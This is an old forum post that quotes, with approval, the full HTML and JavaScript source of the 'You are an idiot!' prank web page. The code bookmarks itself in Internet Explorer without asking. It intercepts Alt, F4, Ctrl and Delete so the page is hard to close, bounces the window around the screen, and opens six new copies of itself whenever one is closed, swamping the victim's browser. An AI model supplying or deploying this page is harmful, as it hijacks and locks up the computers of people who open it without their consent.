Umm, yup, that's annoying, ermm....

Monrezz · #16 05-31-2003, 04:34 AM

Here's the source:

<html>
<head>
<title>You are an idiot!</title>
<script language=Javascript>

function bookmark() {
if ((navigator.appName == "Microsoft Internet Explorer")
&& (parseInt(navigator.appVersion) >= 4))
{
var url="http://www.feetman.com/index3.html";
var title="Idiot!";
window.external.AddFavorite(url,title);
}
}

function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("You are an idiot!"); }
function ctrlkey() { if (event.keyCode == 17) alert("You are an idiot!"); }
function delkey() { if (event.keyCode == 46) alert("You are an idiot!"); }

var xOff = 5;
var yOff = 5;
var xPos = 400;
var yPos = -100;
var flagRun = 1;

function openWindow(url){
aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width =180,height=175,titlebar=no,alwaysRaised=yes');
}

function procreate(){
openWindow('index3.html');
openWindow('index3.html');
openWindow('index3.html');
openWindow('index3.html');
openWindow('index3.html');
openWindow('index3.html');
}

function newXlt(){
xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
window.focus()}

function newXrt(){
xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;
}

function newYup(){
yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
}

function newYdn(){
yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
}
function fOff(){
flagrun = 0;
}

function playBall(){
xPos += xOff;
yPos += yOff;
if (xPos > screen.width-175){
newXlt();
}
if (xPos < 0){
newXrt();
}
if (yPos > screen.height-100){
newYup();
}
if (yPos < 0){
newYdn();
}
if (flagRun == 1){
window.moveTo(xPos,yPos);
setTimeout('playBall()',1);
}
}

</script>
</head>
<body bgColor=#ffffff onload="flagRun=1;playBall();return true;bookmark();" onKeyDown="altf4key();ctrlkey();delkey();" onUnLoad="procreate()" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<object classid="clsid

27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%">
<param name=movie value="youare.swf">
<param name=quality value=high>
<embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
</embed>
</object>
</body>
</html>

It's damn annoying, but funny haha